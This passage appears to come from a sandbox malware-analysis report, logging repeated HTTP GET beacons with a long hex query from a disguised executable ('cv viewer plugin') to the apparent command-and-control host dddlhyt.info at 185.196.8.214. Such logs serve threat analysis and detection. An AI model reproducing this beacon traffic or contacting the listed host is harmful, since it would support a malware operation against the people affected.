Aug 31, 2024 22:13:25.567821980 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49726	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:25.698786020 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:26.405953884 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49727	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:26.535720110 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:27.230552912 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:27.344016075 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:27.579921007 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49728	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:27.708940029 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:28.427604914 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49729	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:28.553647995 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:29.244990110 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49730	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:29.364491940 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:30.109802961 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:30.224756956 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:30.488168955 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49731	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:30.613600016 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:31.303558111 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49732	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:31.427253008 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:32.117953062 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49733	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:32.241127014 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:32.995857000 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:33.108580112 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:33.355427980 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:33.468024015 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:33.704474926 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:33.812879086 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:34.049361944 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49734	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:34.176178932 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:34.861285925 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:34.967875004 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:35.208873034 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49735	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:35.333183050 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:36.033519983 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49736	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:36.161164999 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:38.141935110 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:38.249074936 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:38.485059977 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49737	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:38.614460945 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:39.346009016 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49738	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:39.472913980 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:40.178509951 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49739	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:40.301625967 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:40.984783888 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:41.092782021 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:41.332725048 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49740	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:41.465652943 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:42.164752007 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49741	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:42.287617922 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:42.991364956 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49742	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:43.114336014 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:43.819664001 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49743	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:43.961426020 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:44.674685001 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49744	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:44.801167011 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:45.496061087 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:45.609050989 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:45.845361948 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49745	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
